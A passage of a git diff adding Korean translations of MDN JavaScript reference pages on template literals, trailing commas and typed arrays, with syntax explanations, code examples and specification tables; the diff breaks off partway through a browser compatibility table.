@@ -0,0 +1,254 @@
+---
+title: Template literals
+slug: Web/JavaScript/Reference/Template_literals
+tags:
+ - Template
+translation_of: Web/JavaScript/Reference/Template_literals
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>템플릿 리터럴은 내장된 표현식을 허용하는 문자열 리터럴입니다. 여러 줄로 이뤄진 문자열과 문자 보간기능을 사용할 수 있습니다. 이전 버전의 ES2015사양 명세에서는 "template strings" (템플릿 문자열) 라고 불려 왔습니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">`string text`
+
+`string text line 1
+ string text line 2`
+
+`string text ${expression} string text`
+
+tag `string text ${expression} string text`
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>템플릿 리터럴은 이중 따옴표 나 작은 따옴표 대신 백틱(` `) (<a href="http://en.wikipedia.org/wiki/Grave_accent">grave accent</a>) 을 이용합니다.  템플릿 리터럴은 또한 플레이스 홀더를 이용하여 표현식을 넣을 수 있는데, 이는 $와 중괄호( <code>$ {expression}</code> ) 로 표기할 수 있습니다. 플레이스 홀더 안에서의 표현식과 그 사이의 텍스트는 함께 함수로 전달됩니다. 기본 함수는 단순히 해당 부분을 단일 문자열로 연결시켜 줍니다. 템플릿 리터럴 앞에 어떠한 표현식이 있다면(여기에서는 태그), 템플릿 리터럴은 "태그가 지정된 템플릿"이라고 불리게 됩니다. 이 때, 태그 표현식 (주로 함수)이 처리된 템플릿 리터럴과 함께 호출되면, 출력하기 전에 조작할 수 있습니다. 템플릿 리터럴 안에서 백틱 문자를 사용하려면 백틱 앞에 백슬러쉬(\)를 넣으십시오.</p>
+
+<pre class="brush: js notranslate">`\`` === "`" // --&gt; true</pre>
+
+<h3 id="Multi-line_strings">Multi-line strings</h3>
+
+<p>source 내에 삽입되는 newline characters(\n)은 template literal의 일부가 됩니다.</p>
+
+<p>일반 string 들을 사용하여, multi-line strings 들을 얻기 위해서는 아래와 같은 문법을 사용해야 할 것입니다.</p>
+
+<pre class="brush: js notranslate">console.log("string text line 1\n"+
+"string text line 2");
+// "string text line 1
+// string text line 2"</pre>
+
+<p>같은 효과를 template literal을 통해 얻기 위해서는, 아래와 같이 적을 수 있습니다.</p>
+
+<pre class="brush: js notranslate">console.log(`string text line 1
+string text line 2`);
+// "string text line 1
+// string text line 2"</pre>
+
+<h3 id="Expression_interpolation표현식_삽입법">Expression interpolation(표현식 삽입법)</h3>
+
+<p>표현식(expression)을 일반 문자열(normal strings)에 삽입하기 위해서, 당신은 다음의 문법을 사용할 수 있을 것입니다.</p>
+
+<pre class="brush: js notranslate">var a = 5;
+var b = 10;
+console.log("Fifteen is " + (a + b) + " and\nnot " + (2 * a + b) + ".");
+// "Fifteen is 15 and
+// not 20."</pre>
+
+<p>template literals을 이용하면, 이를 더욱 읽기 쉽도록 다음과 같은 문법 설탕(syntactic sugar) 을 활용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var a = 5;
+var b = 10;
+console.log(`Fifteen is ${a + b} and
+not ${2 * a + b}.`);
+// "Fifteen is 15 and
+// not 20."</pre>
+
+
+
+<h3 id="Nesting_templates">Nesting templates</h3>
+
+<p>특정한 경우 템플릿을 중첩하는 것이 구성 가능한 문자열을 읽는 읽기 가장 쉬운 방법입니다. 백 스페이스 템플릿 내에서 템플릿 내의 자리 표시자<code>${}</code>에 내부 백틱을 사용하는 것이 쉽습니다. 예를 들어, 조건 a가 참이면:이 템플릿을 문자 그대로 반환합니다.</p>
+
+<p>In ES5:</p>
+
+<pre class="notranslate"><code>var classes = 'header'
+classes += (isLargeScreen() ?
+ '' : item.isCollapsed ?
+ ' icon-expander' : ' icon-collapser');</code></pre>
+
+<p>ES2015에서 중첩(nesting)없이 템플릿 리터럴 사용한 경우:</p>
+
+<pre class="notranslate"><code>const classes = `header ${ isLargeScreen() ? '' :
+ (item.isCollapsed ? 'icon-expander' : 'icon-collapser') }`;</code></pre>
+
+<p>ES2015에서 중첩된(nested) 템플릿 리터럴을 사용한 경우:</p>
+
+<pre class="notranslate"><code>const classes = `header ${ isLargeScreen() ? '' :
+ `icon-${item.isCollapsed ? 'expander' : 'collapser'}` }`;</code></pre>
+
+
+
+<h3 id="Tagged_templates">Tagged templates</h3>
+
+<p>template literals 의 더욱 발전된 한 형태는 <em>tagged</em> templates 입니다. 태그를 사용하면 템플릿 리터럴을 함수로 파싱 할 수 있습니다. 태그 함수의 첫 번째 인수는 문자열 값의 배열을 포함합니다. 나머지 인수는 표현식과 관련됩니다. 결국 함수는 조작 된 문자열을 반환 할 수 있습니다 (또는 다음 예제에서 설명하는 것과 완전히 다른 결과를 반환 할 수 있습니다). function 이름은 원하는 어떤 것이든 가능합니다.</p>
+
+<pre class="notranslate"><code>var person = 'Mike';
+var age = 28;
+
+function myTag(strings, personExp, ageExp) {
+
+ var str0 = strings[0]; // "that "
+ var str1 = strings[1]; // " is a "
+
+ // 사실 이 예제의 string에서 표현식이 두 개 삽입되었으므로
+ // ${age} 뒤에는 ''인 string이 존재하여
+ // 기술적으로 strings 배열의 크기는 3이 됩니다.
+  // 하지만 빈 string이므로 무시하겠습니다.
+ // var str2 = strings[2];
+
+ var ageStr;
+ if (ageExp &gt; 99){
+ ageStr = 'centenarian';
+ } else {
+ ageStr = 'youngster';
+ }
+
+  // 심지어 이 함수내에서도 template literal을 반환할 수 있습니다.
+ return str0 + personExp + str1 + ageStr;
+
+}
+
+var output = myTag`that ${ person } is a ${ age }`;
+
+console.log(output);
+// that Mike is a youngster</code></pre>
+
+<p>다음 예시에서 보여지듯이, Tag function 들은 string 을 반환할 필요는 없습니다.</p>
+
+<pre class="brush: js notranslate">function template(strings, ...keys) {
+ return (function(...values) {
+ var dict = values[values.length - 1] || {};
+ var result = [strings[0]];
+ keys.forEach(function(key, i) {
+ var value = Number.isInteger(key) ? values[key] : dict[key];
+ result.push(value, strings[i + 1]);
+ });
+ return result.join('');
+ });
+}
+
+var t1Closure = template`${0}${1}${0}!`;
+t1Closure('Y', 'A'); // "YAY!"
+var t2Closure = template`${0} ${'foo'}!`;
+t2Closure('Hello', {foo: 'World'}); // "Hello World!"
+</pre>
+
+<h3 id="Raw_strings">Raw strings</h3>
+
+<p>태그 지정된 템플릿의 첫 번째 함수 인수에서 사용할 수있는 특별한 <code>raw</code> property을 사용하면  <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Using_special_characters_in_strings">escape sequences</a> 처리하지 않고 원시 문자열을 입력 한대로 액세스 할 수 있습니다.</p>
+
+<pre class="notranslate"><code>function tag(strings) {
+ console.log(strings.raw[0]);
+}
+
+tag`string text line 1 \n string text line 2`;
+// logs "string text line 1 \n string text line 2" ,
+// including the two characters '\' and 'n'</code></pre>
+
+<p>추가로, default template function 과 string 병합으로 생성될 것 같은 raw string 을 생성하기 위한 {{jsxref("String.raw()")}} method가 존재합니다.</p>
+
+<pre class="notranslate"><code>var str = String.raw`Hi\n${2+3}!`;
+// "Hi\n5!"
+
+str.length;
+// 6
+
+str.split('').join(',');
+// "H,i,\,n,5,!"</code></pre>
+
+
+
+<h3 id="Tagged_templates_and_escape_sequences">Tagged templates and escape sequences</h3>
+
+<h4 id="ES2016_behavior">ES2016 behavior</h4>
+
+<p>ECMAScript 2016에서 tagged templates은 다음 escape sequences의 규칙을 따릅니다.</p>
+
+<ul>
+ <li>Unicode escapes started by "\u", for example <code>\u00A9</code></li>
+ <li>Unicode code point escapes indicated by "\u{}", for example <code>\u{2F804}</code></li>
+ <li>Hexadecimal escapes started by "\x", for example <code>\xA9</code></li>
+ <li>Octal literal escapes started by "\" and (a) digit(s), for example <code>\251</code></li>
+</ul>
+
+<p>이는 다음과 같은 tagged template이 문제가 된다는 것을 의미하는데, ECMAScript문법에 따라, parser는 유효한 유니 코드 탈출 시퀀스가 있는지 확인하지만 형식이 잘못되었기 때문에 오류가 발생합니다.</p>
+
+<pre class="notranslate"><code>latex`\unicode`
+// Throws in older ECMAScript versions (ES2016 and earlier)
+// SyntaxError: malformed Unicode character escape sequence</code></pre>
+
+<h4 id="ES2018_revision_of_illegal_escape_sequences">ES2018 revision of illegal escape sequences</h4>
+
+<p>Tagged templates은 다른 escapes sequences가 일반적으로 사용되는 언어 (예 : <a href="https://en.wikipedia.org/wiki/Domain-specific_language">DSLs</a> 또는 <a href="https://en.wikipedia.org/wiki/LaTeX">LaTeX</a>)의 임베딩을 허용해야합니다. ECMAScript proposal <a href="https://tc39.github.io/proposal-template-literal-revision/">Template Literal Revision</a> (4 단계, ECMAScript 2018 표준에 통합됨)은 tagged templates에서 ECMAScript escape sequences의 구문 제한을 제거합니다.</p>
+
+<p>그러나 illegal escape sequences는 여전히 "cooked"라고 표현되어야합니다. "cooked"배열의 {{jsxref ( "undefined")}} 요소로 나타납니다 :</p>
+
+<pre class="notranslate"><code>function latex(str) {
+ return { "cooked": str[0], "raw": str.raw[0] }
+}
+
+latex`\unicode`
+
+// { cooked: undefined, raw: "\\unicode" }</code></pre>
+
+<p>escape sequence 제한은 <em>tagged</em> templates에만 적용되며 <em>untagged</em> template literals에는 적용되지 않습니다.</p>
+
+<div class="warning">
+<p>let bad = `bad escape sequence: \unicode`;</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-template-literals', 'Template Literals')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition. Defined in several section of the specification: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-template-literals">Template Literals</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-tagged-templates">Tagged Templates</a></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-template-literals', 'Template Literals')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Defined in several section of the specification: <a href="https://tc39.github.io/ecma262/#sec-template-literals">Template Literals</a>, <a href="https://tc39.github.io/ecma262/#sec-tagged-templates">Tagged Templates</a></td>
+ </tr>
+ <tr>
+ <td><a href="https://tc39.github.io/proposal-template-literal-revision/">Template Literal Revision</a></td>
+ <td>Stage 4 draft</td>
+ <td>Drops escape sequence restriction from tagged templates</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.grammar.template_literals")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("String.raw()")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li>
+ <li><a href="https://gist.github.com/WebReflection/8f227532143e63649804">Template-like strings in ES3 compatible syntax</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/05/es6-in-depth-template-strings-2/">"ES6 in Depth: Template strings" on hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/trailing_commas/index.html b/files/ko/web/javascript/reference/trailing_commas/index.html
new file mode 100644
index 0000000000..aeaded7640
--- /dev/null
+++ b/files/ko/web/javascript/reference/trailing_commas/index.html
@@ -0,0 +1,185 @@
+---
+title: Trailing commas
+slug: Web/JavaScript/Reference/Trailing_commas
+tags:
+ - Comma
+ - ECMAScript
+ - ECMAScript2017
+ - ECMAScript5
+ - JavaScript
+ - Language feature
+ - Syntax
+ - Trailing comma
+ - 구문
+ - 자바스크립트
+ - 콤마
+ - 트레일링 콤마
+translation_of: Web/JavaScript/Reference/Trailing_commas
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p><strong>Trailing commas</strong> ("final commas"라고도 불립니다)는 새로운 엘리먼트나 매개변수, 속성을 JavaScript 코드에 추가할 때 유용합니다. 새로운 속성을 추가할 때, 마지막 줄에 trailing comma가 있다면 그 줄을 수정 없이 그대로 복사해 쓸 수 있습니다. 이외에도 버전 관리 이력이 간단해지고 코드 편집이 더 편해진다는 장점이 있습니다.</p>
+
+<p>JavaScript는 초기부터 배열 리터럴에 trailing comma를 허용했으며, ECMAScript 5부터는 객체 리터럴, ECMAScript 2017부터는 함수의 매개변수에도 허용하기 시작했습니다.</p>
+
+<p>그러나 {{Glossary("JSON")}}에서는 trailing comma를 허용하지 않습니다.</p>
+
+<h2 id="리터럴에서의_trailing_comma">리터럴에서의 trailing comma</h2>
+
+<h3 id="배열">배열</h3>
+
+<p>JavaScript는 배열에 나타나는 trailing comma를 무시합니다.</p>
+
+<pre class="brush: js notranslate">var arr = [
+ 1,
+ 2,
+ 3,
+];
+
+arr; // [1, 2, 3]
+arr.length; // 3</pre>
+
+<p>trailing comma가 여러 개 있을 경우 빈 슬롯("구멍")이 생깁니다. 구멍이 있는 배열을 성기다<sup>sparse</sup>고 합니다(조밀한<sup>dense</sup> 배열에는 구멍이 없습니다). {{jsxref("Array.prototype.forEach()")}}나 {{jsxref("Array.prototype.map()")}}을 이용해 배열을 순회할 때는 빈 슬롯을 무시합니다.</p>
+
+<pre class="brush: js notranslate">var arr = [1, 2, 3,,,];
+arr.length; // 5
+</pre>
+
+<h3 id="객체">객체</h3>
+
+<p>ECMAScript 5부터는 객체 리터럴에도 trailing comma를 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">var object = {
+ foo: "bar",
+ baz: "qwerty",
+ age: 42,
+};</pre>
+
+<h2 id="함수에서의_trailing_comma">함수에서의 trailing comma</h2>
+
+<p>ECMAScript 2017에서는 함수의 매개변수 목록에 trailing comma를 허용합니다.</p>
+
+<h3 id="매개변수_정의">매개변수 정의</h3>
+
+<p>아래의 두 함수 정의는 모두 유효하며, 서로 같습니다. Trailing comma는 함수 정의의 <code>length</code> 속성이나 <code>arguments</code> 객체에 영향을 주지 않습니다.</p>
+
+<pre class="brush: js notranslate">function f(p) {}
+function f(p,) {}
+
+(p) =&gt; {};
+(p,) =&gt; {};
+</pre>
+
+<p>Trailing comma는 클래스나 객체의 <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">메소드 정의</a>에도 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">class C {
+ one(a,) {},
+ two(a, b,) {},
+}
+
+var obj = {
+ one(a,) {},
+ two(a, b,) {},
+};
+</pre>
+
+<h3 id="함수_호출">함수 호출</h3>
+
+<p>아래의 두 함수 호출은 모두 유효하며, 서로 같습니다.</p>
+
+<pre class="brush: js notranslate">f(p);
+f(p,);
+
+Math.max(10, 20);
+Math.max(10, 20,);
+</pre>
+
+<h3 id="잘못된_trailing_comma">잘못된 trailing comma</h3>
+
+<p>함수의 매개변수 정의나 호출에 쉼표만 있을 경우 {{Jsxref("SyntaxError")}}가 발생합니다. 또한, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest 매개변수</a>를 사용할 때는 trailing comma를 사용할 수 없습니다.</p>
+
+<pre class="brush: js example-bad notranslate">function f(,) {} // SyntaxError: missing formal parameter
+(,) =&gt; {}; // SyntaxError: expected expression, got ','
+f(,) // SyntaxError: expected expression, got ','
+
+function f(...p,) {} // SyntaxError: parameter after rest parameter
+(...p,) =&gt; {} // SyntaxError: expected closing parenthesis, got ','
+</pre>
+
+<h2 id="구조_분해_할당에서의_trailing_comma">구조 분해 할당에서의 trailing comma</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">구조 분해 할당</a>의 좌변에도 trailing comma를 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">// Trailing comma가 있는 배열 구조 분해
+[a, b,] = [1, 2];
+
+// Trailing comma가 있는 객체 구조 분해
+var o = {
+ p: 42,
+ q: true,
+};
+var {p, q,} = o;
+</pre>
+
+<p>Rest 원소가 있을 경우 역시 {{jsxref("SyntaxError")}}가 발생합니다.</p>
+
+<pre class="brush: js example-bad notranslate">var [a, ...b,] = [1, 2, 3];
+// SyntaxError: rest element may not have a trailing comma</pre>
+
+<h2 id="JSON에서의_trailing_comma">JSON에서의 trailing comma</h2>
+
+<p>객체 안에서의 trailing comma는 ECMAScript 5에 와서야 추가되었습니다. JSON은 ES5 이전의 JavaScript 문법을 기초로 하므로 <strong>JSON에서는 trailing comma를 사용할 수 없습니다</strong>.</p>
+
+<p>아래의 두 줄 모두 <code>SyntaxError</code>를 발생합니다.</p>
+
+<pre class="brush: js example-bad notranslate">JSON.parse('[1, 2, 3, 4, ]');
+JSON.parse('{"foo" : 1, }');
+// SyntaxError JSON.parse: unexpected character
+// at line 1 column 14 of the JSON data
+</pre>
+
+<p>JSON을 올바르게 파싱하려면 trailing comma를 제거해야 합니다.</p>
+
+<pre class="brush: js example-good notranslate">JSON.parse('[1, 2, 3, 4 ]');
+JSON.parse('{"foo" : 1 }');</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>객체 리터럴 trailing comma 추가</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>변화 없음</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>ES2017에서 함수 trailing comma 추가</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.grammar.trailing_commas")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>Initial ECMAScript proposal: <a href="https://github.com/tc39/proposal-trailing-function-commas">trailing function commas</a> by Jeff Morrison</li>
+</ul>
diff --git a/files/ko/web/javascript/typed_arrays/index.html b/files/ko/web/javascript/typed_arrays/index.html
new file mode 100644
index 0000000000..814ae7c885
--- /dev/null
+++ b/files/ko/web/javascript/typed_arrays/index.html
@@ -0,0 +1,222 @@
+---
+title: JavaScript 형식화 배열
+slug: Web/JavaScript/Typed_arrays
+tags:
+ - Guide
+ - JavaScript
+translation_of: Web/JavaScript/Typed_arrays
+---
+<div>{{JsSidebar("Advanced")}}</div>
+
+<p>JavaScript 형식화 배열(typed array)은 배열같은 객체이고 원시(raw) 이진 데이터에 액세스하기 위한 메커니즘을 제공합니다. 이미 아시다시피, {{jsxref("Array")}} 객체는 동적으로 늘었다 줄고 어떤 JavaScript 값이든 가질 수 있습니다. JavaScript 엔진은 이러한 배열이 빨라지도록 최적화를 수행합니다. 그러나, audio 및 video 조작과 같은 기능 추가, WebSocket을 사용한 원시 데이터에 액세스 등 웹 어플리케이션이 점점 더 강력해짐에 따라, 빠르고 쉽게 형식화 배열의 원시 이진 데이터를 조작할 수 있게 하는 것이 JavaScript 코드에 도움이 될 때가 있음이 분명해 졌습니다.</p>
+
+<p>그러나, 형식화 배열은 보통 배열과 혼동되지는 않습니다, 형식화 배열에 {{jsxref("Array.isArray()")}} 호출은 <code>false</code>를 반환하기에. 게다가, 보통 배열에 이용할 수 있는 모든 메서드가 형식화 배열에 의해 지원되지는 않습니다(가령 push 및 pop).</p>
+
+<h2 id="버퍼_및_뷰_형식화_배열_구조">버퍼 및 뷰: 형식화 배열 구조</h2>
+
+<p>최대 유연성 및 효율을 달성하기 위해, JavaScript 형식화 배열은 구현을 <strong>버퍼</strong> 및 <strong>뷰</strong>로 나눕니다. 버퍼 ({{jsxref("ArrayBuffer")}} 객체에 의해 구현됨)는 데이터 부분(chunk, 덩어리)을 나타내는 객체입니다; 이야기 할 형식이 없으며, 그 콘텐츠에 액세스하기 위한 메커니즘을 제공하지 않습니다. 버퍼에 포함된 메모리에 액세스하기 위해, 뷰를 사용할 필요가 있습니다. 뷰는 문맥(context, 즉 데이터 형, 시작 오프셋 및 요소 수)을 제공해 데이터를 실제 형식화 배열로 바꿉니다.</p>
+
+<p><img alt="Typed arrays in an ArrayBuffer" src="https://mdn.mozillademos.org/files/8629/typed_arrays.png" style="height: 278px; width: 666px;"></p>
+
+<h3 id="ArrayBuffer">ArrayBuffer</h3>
+
+<p>{{jsxref("ArrayBuffer")}}는 일반 고정 길이 이진 데이터 버퍼를 나타내는 데 사용되는 데이터 형입니다. <code>ArrayBuffer</code> 콘텐츠를 직접 조작할 수는 없습니다; 대신에, 형식화 배열 뷰 또는 특정 형식으로 버퍼를 나타내는 {{jsxref("DataView")}}를 만들어 버퍼의 콘텐츠를 읽고 쓰기 위해 사용합니다.</p>
+
+<h3 id="형식화_배열_뷰">형식화 배열 뷰</h3>
+
+<p>형식화 배열 뷰는 자체 설명형 이름이 있으며 <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> 등과 같은 모든 일반 숫자 형을 위한 뷰를 제공합니다. 특별한 형식화 배열 뷰가 하나 있습니다, <code>Uint8ClampedArray</code>. 값은 0에서 255 사이로 단속(제한)합니다. 예를 들어, 이는 <a href="/ko/docs/Web/API/ImageData">Canvas 데이터 처리</a>에 유용합니다.</p>
+
+<p>{{page("/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "TypedArray_객체")}}</p>
+
+<h3 id="DataView">DataView</h3>
+
+<p>{{jsxref("DataView")}}는 버퍼에 임의 데이터를 읽고 쓰기 위해 getter/setter API를 제공하는 저레벨 인터페이스입니다. 예를 들어, 서로 다른 유형의 데이터를 처리하는 경우 유용합니다. 형식화 배열 뷰는 플랫폼의 본디(native) 바이트 순서(byte-order, {{Glossary("Endianness")}} 참조)에 속합니다. <code>DataView</code>로 바이트 순서를 제어할 수 있습니다. 기본으로 big-endian이고 getter/setter 메서드로 little-endian으로 설정될 수 있습니다.</p>
+
+<h2 id="형식화_배열을_사용하는_웹_API">형식화 배열을 사용하는 웹 API</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/FileReader#readAsArrayBuffer()"><code>FileReader.prototype.readAsArrayBuffer()</code></a></dt>
+ <dd><code>FileReader.prototype.readAsArrayBuffer()</code> 메서드는 지정된 <a href="/ko/docs/Web/API/Blob"><code>Blob</code></a> 또는 <a href="/ko/docs/Web/API/File"><code>File</code></a>의 콘텐츠를 읽기 시작합니다.</dd>
+ <dt><a href="/ko/docs/Web/API/XMLHttpRequest#send()"><code>XMLHttpRequest.prototype.send()</code></a></dt>
+ <dd><code>XMLHttpRequest</code> 인스턴스의 <code>send()</code> 메서드는 이제 형식화 배열 및 인수로 {{jsxref("ArrayBuffer")}} 객체를 지원합니다.</dd>
+ <dt><code><a href="/ko/docs/Web/API/ImageData">ImageData.data</a></code></dt>
+ <dd><code>0</code>에서 <code>255</code>까지 정수값으로 RGBA 순 데이터를 포함하는 1차원 배열을 나타내는 {{jsxref("Uint8ClampedArray")}}입니다.</dd>
+</dl>
+
+<h2 id="예">예</h2>
+
+<h3 id="버퍼와_뷰_사용하기">버퍼와 뷰 사용하기</h3>
+
+<p>우선, 여기서 16바이트 고정 길이로 버퍼를 만들어야 합니다:</p>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(16);
+</pre>
+
+<p>이 시점에서, 바이트가 모두 0으로 미리 초기화된 메모리 덩어리가 있습니다. 그렇지만 이거 가지고 할 수 있는 게 많지 않습니다. 실제 16바이트 길이인지 확인할 수 있고 대략 그런 정도입니다:</p>
+
+<pre class="brush:js">if (buffer.byteLength === 16) {
+ console.log("Yes, it's 16 bytes.");
+} else {
+ console.log("Oh no, it's the wrong size!");
+}
+</pre>
+
+<p>정말 이 버퍼로 작업할 수 있기 전에, 뷰를 만들어야 합니다. 32비트 부호있는 정수 배열로 버퍼의 데이터를 다루는 뷰를 만듭시다:</p>
+
+<pre class="brush:js">var int32View = new Int32Array(buffer);
+</pre>
+
+<p>이제 보통 배열처럼 배열 내 필드에 액세스할 수 있습니다:</p>
+
+<pre class="brush:js">for (var i = 0; i &lt; int32View.length; i++) {
+ int32View[i] = i * 2;
+}
+</pre>
+
+<p>이는 배열의 4항목을 값 0, 2, 4 및 6으로 채웁니다 (4항목이 각각 4바이트에 총 16바이트가 됩니다).</p>
+
+<h3 id="같은_데이터에_여러_뷰">같은 데이터에 여러 뷰</h3>
+
+<p>상황은 당신이 같은 데이터에 여러 뷰를 만들 수 있음을 고려하는 경우 정말 흥미로워지기 시작합니다. 예를 들어, 위 코드가 주어지면 다음과 같이 계속할 수 있습니다:</p>
+
+<pre class="brush:js">var int16View = new Int16Array(buffer);
+
+for (var i = 0; i &lt; int16View.length; i++) {
+ console.log("Entry " + i + ": " + int16View[i]);
+}
+</pre>
+
+<p>여기서 우리는 기존 32비트 뷰와 같은 버퍼를 공유하는 16비트 정수 뷰를 만들고 16비트 정수로 버퍼 내 모든 값을 출력합니다. 이제 우리는 출력 0, 0, 2, 0, 4, 0, 6, 0을 얻습니다.</p>
+
+<p>그렇지만 한 단계 더 앞으로 갈 수 있습니다. 다음을 생각해 보세요:</p>
+
+<pre class="brush:js">int16View[0] = 32;
+console.log("Entry 0 in the 32-bit array is now " + int32View[0]);
+</pre>
+
+<p>이로부터 출력은 "Entry 0 in the 32-bit array is now 32"입니다. 즉, 두 배열은 확실히 그저 같은 데이터 버퍼 상의 뷰입니다, 버퍼를 서로 다른 형식으로 다루는. 모든 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects" title="Typed array subclasses">뷰 유형</a>으로 이를 할 수 있습니다.</p>
+
+<h3 id="복잡한_데이터_구조(체)와_작업하기">복잡한 데이터 구조(체)와 작업하기</h3>
+
+<p>단일 버퍼를 서로 다른 형인 여러 뷰(버퍼 내 서로 다른 오프셋에서 시작하는)와 결합시켜, 여러 데이터 형을 포함하는 데이터 객체와 상호 작용할 수 있습니다. 예를 들어, 이는 <a href="/ko/docs/Web/WebGL" title="WebGL">WebGL</a>, 데이터 파일 또는 <a href="/ko/docs/Mozilla/js-ctypes" title="js-ctypes">js-ctypes</a>를 쓰는 동안 사용해야 하는 C 구조체에서 복잡한 데이터 구조와 상호 작용케 합니다.</p>
+
+<p>이 C 구조체를 생각해 보세요:</p>
+
+<pre class="brush:cpp">struct someStruct {
+ unsigned long id;
+ char username[16];
+ float amountDue;
+};</pre>
+
+<p>이 같은 형식으로 데이터를 포함하는 버퍼에 액세스할 수 있습니다:</p>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(24);
+
+// ... 버퍼 내의 데이터를 읽어들임 ...
+
+var idView = new Uint32Array(buffer, 0, 1);
+var usernameView = new Uint8Array(buffer, 4, 16);
+var amountDueView = new Float32Array(buffer, 20, 1);</pre>
+
+<p>그런 뒤, 예를 들어 <code>amountDueView[0]</code>로 지불할 요금(amount due)을 액세스할 수 있습니다.</p>
+
+<div class="note"><strong>주의:</strong> C 구조체에서 <a href="http://en.wikipedia.org/wiki/Data_structure_alignment" title="data structure alignment">데이터 구조 정렬</a>은 플랫폼에 의존합니다. 이러한 패딩(padding) 차이에 대해 조심하고 고려하세요.</div>
+
+<h3 id="보통_배열로_변환">보통 배열로 변환</h3>
+
+<p>형식화 배열을 처리한 뒤, 때때로 {{jsxref("Array")}} 프로토타입의 도움을 받기 위해 보통 배열로 다시 변환하는 게 유용합니다. 이는 {{jsxref("Array.from")}} 또는 <code>Array.from</code>이 지원되지 않는 경우 다음 코드를 사용하여 수행할 수 있습니다.</p>
+
+<pre class="brush:js">var typedArray = new Uint8Array([1, 2, 3, 4]),
+ normalArray = Array.prototype.slice.call(typedArray);
+normalArray.length === 4;
+normalArray.constructor === Array;
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Typed Array')}}</td>
+ <td>{{Spec2('Typed Array')}}</td>
+ <td>ECMAScript 6로 대체됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>ECMA 표준에서 초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-typedarray-objects', 'TypedArray Objects')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>7.0</td>
+ <td>{{ CompatGeckoDesktop("2") }}</td>
+ <td>10</td>
+ <td>11.6</td>
+ <td>5.1</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{ CompatGeckoMobile("2") }}</td>
